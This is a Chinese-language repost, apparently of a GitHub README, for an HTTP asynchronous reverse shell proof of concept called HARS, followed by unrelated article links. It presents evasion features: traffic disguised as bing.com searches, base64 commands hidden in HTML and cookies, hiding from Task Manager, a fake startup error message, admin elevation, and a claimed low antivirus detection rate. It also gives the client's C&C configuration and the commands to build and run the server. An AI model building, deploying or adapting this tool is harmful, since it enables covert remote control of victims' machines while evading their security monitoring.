使用 HTTP 协议的异步反向 shell
今天,有很多方法可以创建反向 shell,以便能够通过防火墙远程控制机器。事实上,传出连接并不总是被过滤掉。
然而,安全软件和硬件(IPS、IDS、代理、AV、EDR...)越来越强大,可以检测到这些攻击。大多数情况下,与反向 shell 的连接是通过 L4 TCP 隧道建立的。
我认为保持不被发现的最好方法是让它看起来像合法的流量。HTTP 协议(第 7 层)是标准用户使用最多的协议。此外,它几乎从不过滤,以免阻止对网站的访问。
这个POC的特殊性在于通信是完全异步的,并且只使用GET请求。
怎么运行的 ?
- 客户端应用程序在目标机器上执行。
- 客户端发起与服务器的连接。
- 服务器接受连接。
然后: - 客户端查询服务器直到它得到指令。 - 攻击者向服务器提供指令。 - 当一个命令被定义时,客户端执行它并返回结果。
依此类推,直到攻击者决定结束会话。
特征
今天,作为一个 poc,实现了以下功能:
- 在 bing.com 上显示为搜索的虚假 HTTP 流量。
- 命令在 HTML 响应中采用 base64 编码。
- 命令的结果由客户端以 base64 编码为 cookie。
- [可选] SSL 支持;默认情况下,它是一个伪造的 bing.com 证书。
- 每次客户端调用之间的随机延迟,以避免触发 IDS。
- 随机模板用于来自服务器的每个响应。
- 重复使用相同的 powershell 进程以避免触发 EDR。
- 支持所有 Cmd 和 Powershell 命令。
- [可选] 客户端可以在启动时显示假错误消息。
- 客户端对任务管理器隐藏。
- 【可选】客户端可以管理员身份运行。
AV检测
69 款产品中只有 3 款能够在不应用任何规避或混淆技术的情况下将客户端检测为恶意客户端。
配置
客户 : C Sharp
- 在 Visual Studio 中打开HARS.sln
配置文件
该文件包含参数;分配你想要的值:
class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application.
Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://127.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
HARS.manifest
将此行更改为默认运行具有特定权限的客户端:
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
与
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
或
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
或
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
项目属性
您可以在此处自定义文件的程序集信息和图标。
注意:目标 .NET 框架版本设置为 4.6,该版本在 Windows 10 中默认可用。 对于 Windows 7,如果您不想安装缺少的功能,请选择 .NET 3.5。
建造
从 Visual Studio 构建项目。客户端应该在Http Asynchronous Reverse ShellHARS_ClientHARSinRelease
文件夹中生成。
服务器:PythonHARS_Server.py 位置:Http Asynchronous Reverse ShellHARS_Serverwww
如果需要,只需在配置部分更改证书上的端口或位置。
# Config
PORT = 443
CERT_FILE = '../server.pem'
跑
python HARS_Server.py
笔记
-HTTP 日志位于Http Asynchronous Reverse ShellHARS_Serverlogs
-您可以在其中添加您自己的模板(任何 html 页面)Http Asynchronous Reverse ShellHARS_Server emplates
https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell
相关文章
- 【技术种草】cdn+轻量服务器+hugo=让博客“云原生”一下
- CLB运维&运营最佳实践 ---访问日志大洞察
- vnc方式登陆服务器
- 轻松学排序算法:眼睛直观感受几种常用排序算法
- 十二个经典的大数据项目
- 为什么使用 CDN 内容分发网络?
- 大数据——大数据默认端口号列表
- Weld 1.1.5.Final,JSR-299 的框架
- JavaFX 2012:彻底开源
- 提升as3程序性能的十大要点
- 通过凸面几何学进行独立于边际的在线多类学习
- 利用行动影响的规律性和部分已知的模型进行离线强化学习
- ModelLight:基于模型的交通信号控制的元强化学习
- 浅谈Visual Source Safe项目分支
- 基于先验知识的递归卡尔曼滤波的代理人联合状态和输入估计
- 结合网络结构和非线性恢复来提高声誉评估的性能
- 最佳实践丨云开发CloudBase多环境管理实践
- TimeVAE:用于生成多变量时间序列的变异自动编码器
- 具有线性阈值激活的神经网络:结构和算法
- 内网渗透之横向移动 -- 从域外向域内进行密码喷洒攻击